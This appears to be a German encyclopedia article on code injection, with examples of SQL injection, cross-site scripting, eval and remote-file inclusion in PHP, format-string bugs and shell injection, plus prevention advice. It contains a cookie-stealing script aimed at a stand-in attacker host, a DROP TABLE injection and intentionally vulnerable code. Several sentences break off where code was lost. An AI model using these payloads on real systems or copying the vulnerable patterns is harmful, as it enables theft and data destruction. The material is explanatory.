|
Code InjectionCode-Injektion ist das Einschleusen und Ausführen von unerwünschtem Programmcode, durch die Ausnutzung eines Computerfehlers. Dabei werden externe Daten von einem Angreifer genutzt, um Code in ein verwundbares Computerprogramm einzuschleusen (zu „injizieren“) und zur Ausführung zu bringen. Das Ergebnis einer erfolgreichen Code-Injektion kann verheerend sein, etwa durch Verbreitung von Schadsoftware. Bestimmte Arten von Code-Injection sind Interpretationsfehler, die den Benutzereingaben eine besondere Bedeutung verleihen, indem dort nicht zwischen Benutzereingaben und Systembefehlen unterschieden wird. Code-Injection-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswürdige Daten an einen Interpreter sendet. Am häufigsten treten sie auf in SQL, LDAP, XPath, NoSQL-Abfragen, Betriebssystembefehlen, XML-Parsern, SMTP-Kopfzeilen und allgemein in den Parametern von Programmaufrufen. Injektionsschwachstellen sind in der Regel im Quellcode leichter zu entdecken als durch Tests.[1] Scanner und Fuzzers können helfen, Injektionsschwachstellen zu finden.[2] Injektion kann zu Datenverlust oder -beschädigung oder Zugriffsverweigerung führen – manchmal sogar zu einer kompletten Hostübernahme. Code-Injection-Techniken sind bei System-Hacking oder Cracking beliebt, um Informationen, Privilegienerweiterung oder unberechtigten Zugriff auf ein System zu erlangen. Code-Injection kann zu vielen Zwecken böswillig eingesetzt werden, z. B:
Im Jahr 2008 wurden 5,66 % aller in diesem Jahr gemeldeten Schwachstellen als Code Injection klassifiziert, der höchste Wert in den Aufzeichnungen. Im Jahr 2015 war dies auf 0,77 % gesunken.[3] Gute und ungewollte VerwendungTheoretisch kann Code-Injektion mit guten Absichten verwendet werden,[4][5] indem etwa eine Suchergebnisseite eine nützliche neue Spalte anzeigt oder den Inhalt weiter filtert, ordnet oder gruppiert. Auch beim Testen von Software, besonders bei Penetrationstests, leistet Code-Injektion gute Dienste („White Hat“). Selbst ein Softwareentwickler wird manchmal Methoden einsetzen, die diesen Namen verdienen – etwa eine Bibliotheksfunktion vorübergehend durch eine eigene Funktion mit gleichem Namen überschreiben.[6] Natürlich könnte ein Nutzer auch ohne Absicht Code injizieren. Er hält beispielsweise etwas für eine gültige Eingabe, was vom Entwickler mit einer besonderen Bedeutung versehen wurden – vielleicht nur ein Kaufmanns-Und oder ein Apostroph in einem Firmennamen. So etwas könnte auch in einer Datei stehen, die der Nutzer hochlädt. Verhindern von ProblemenUm Code-Injection-Probleme zu verhindern, ist vor allem eine sichere Handhabung von Ein- und Ausgaben notwendig:
Diese Lösungsvorschläge befassen sich primär mit der webbasierten Injektion von HTML- oder Skriptcode in eine serverseitige Anwendung. Für die Injektion von Benutzercode auf dem Rechner des Benutzers, die zu Angriffen mit erhöhter Berechtigung führt, müssen jedoch andere Ansätze gewählt werden. Einige Vorschläge, um verwaltete und nicht verwaltete Code-Injektionen zu erkennen und zu isolieren:
BeispieleSQL-InjektionBei der SQL-Injektion wird die Syntax von SQL ausgenutzt, um Befehle zu injizieren, die eine Datenbank lesen oder verändern können oder die Bedeutung der ursprünglichen Abfrage beeinträchtigen. Betrachten Sie zum Beispiel eine Webseite, die zwei Felder hat: In Feld-1 gibt der Nutzer einen Benutzernamen und in Feld-2 ein Passwort ein. Der Code hinter der Seite generiert eine SQL-Abfrage, um die Eingaben mit einer Datenbanktabelle zu vergleichen: SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = <Inhalt von Feld-2>
Diese Abfrage wird genau dann fündig, wenn es in der Tabelle Wenn der böswillige Benutzer jedoch in Feld-1 einen gültigen Benutzernamen eingibt und in Feld-2 den Code SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = 'XYZ'
OR '1'='1'
Diese Abfrage ist nicht nur erfolgreich, wenn es einen Eintrag gibt mit dem Benutzernamen und dem Passwort „XYZ“ (das dürfte höchst selten der Fall sein), sondern auch, wenn es den Benutzernamen gibt und 1 = 1 ist (und das ist immer der Fall). Das System wird also den Zugriff gestatten. Ein zweites Beispiel: Der Angreifer gibt als Benutzernamen folgenden Code ein: SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = '';
DROP TABLE BenutzerListe;
--AND BenutzerListe.Passwort = ''
Aus Datenbanksicht sind dies drei verschiedene Anweisungen, jeweils durch ein Semikolon getrennt. Die erste sucht einen Datenbankeintrag mit leerem Benutzernamen. Es spielt keine Rolle, ob sie etwas findet, denn als Nächstes folgt eine DROP-Anweisung, die die komplette Tabelle Cross-Site-ScriptingCode-Injektion ist die böswillige Einführung von Code in eine Anwendung. So bieten manche Webseiten ein Gästebuch an, in dem Besucher kleine Nachrichten hinterlassen sollen – Dinge wie Sehr schöne Seite!
Eine böswillige Person könnte jedoch von einer Code-Injection-Schwachstelle im Gästebuch wissen und eine Nachricht wie die folgende hinterlassen: Schöne Seite, ich denke, ich werde sie missbrauchen. <script>window.location="https://angreifer/bösescgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Wenn nun ein anderer Besucher die Seite besucht, sieht er den Bereich von Dieses Injizieren von Skripten in die Sitzung eines ahnungslosen folgenden Users wird als „Cross-Site-Scripting“ oder „XSS“ bezeichnet. Das Gästebuch-Skript übernimmt den Code des ersten Nutzers unüberprüft in den auszugebenden HTML-Text – auf Basis naiver Annahmen darüber, welche Eingabedaten möglich sind.[11] Dynamische AuswertungsschwachstellenEine $myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
Das Argument von ObjektinjektionPHP erlaubt die Serialisierung und Deserialisierung von ganzen Objekten. Wenn nicht vertrauenswürdige Eingaben in die Deserialisierungsfunktion zugelassen werden, ist es möglich, bestehende Klassen im Programm zu überschreiben und bösartige Angriffe auszuführen.[13] Ein solcher Angriff auf Joomla wurde 2013 gefunden.[14] Entfernte DateiinjektionBetrachten Sie dieses PHP-Programm (das eine per Anfrage angegebene Datei einschließt): <?php
$color = 'blue';
if (isset($_GET['Farbe']))
$color = $_GET['color'];
require($color . '.php');
Das Beispiel könnte so gelesen werden, dass nur Farbdateien wie Format-Spezifizierer-InjektionFormatierungszeichenfolgen-Bugs treten am häufigsten auf, wenn ein Programmierer eine Zeichenfolge ausgeben möchte, die vom Benutzer gelieferte Daten enthält. Der Programmierer schreibt vielleicht fälschlicherweise Betrachten Sie das folgende kurze C-Programm, das eine lokale Variable char array char user_input[100];
int int_in;
char passwort[10] = "Passwort1";
printf("Geben Sie eine ganze Zahl ein.");
scanf("%d", &int_in);
printf("Bitte geben Sie einen String\n");
fgets(user_input, sizeof(user_input), stdin);
printf(user_input); // Sichere Version ist: printf("%s", user_input);
printf("\n");
return 0;
Wenn die Benutzereingabe mit einer Liste von Formatspezifikationen wie Shell-InjektionShell-Injektion (oder Befehlsinjektion[15]) ist nach Unix-Shells benannt, gilt aber für die meisten Systeme, die es Software erlauben, eine Befehlszeile programmatisch auszuführen. Hier ist ein Beispiel für ein verwundbares tcsh-Skript: #!/bin/tcsh
# überprüfe arg-Ausgaben es passt, wenn arg eins ist
if ($1 == 1) echo it matches
Wenn das obige in der ausführbaren Datei Jede Funktion, die zum Zusammenstellen und Ausführen eines Shell-Befehls verwendet werden kann, ist ein potenzielles Vehikel zum Starten eines Shell-Injection-Angriffs. Dazu gehören Client-Server-Systeme wie Webbrowsers Interaktion mit Webservern sind potenziell anfällig für Shell-Injection. Betrachten Sie das folgende kurze PHP-Programm, das auf einem Webserver laufen kann, um ein externes Programm namens <?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
Das Einige Sprachen bieten Funktionen, um Zeichenketten, die zum Aufbau von Shell-Befehlen verwendet werden, richtig zu escapen oder in Anführungszeichen zu setzen:
Dies bedeutet jedoch immer noch, dass der Programmierer diese Funktionen kennen/erlernen und daran denken muss, sie jedes Mal zu verwenden, wenn er Shell-Befehle verwendet. Zusätzlich zur Verwendung dieser Funktionen wird empfohlen, die Benutzereingabe zu validieren oder zu bereinigen. Eine sicherere Alternative ist die Verwendung von APIs, die externe Programme direkt und nicht über eine Shell ausführen, wodurch die Möglichkeit der Shell-Injection verhindert wird. Diese APIs neigen jedoch dazu, verschiedene Komfortfunktionen von Shells nicht zu unterstützen und/oder im Vergleich zur prägnanten Shell-Syntax umständlicher/ausführlicher zu sein. Siehe auchWeblinks
Einzelnachweise
|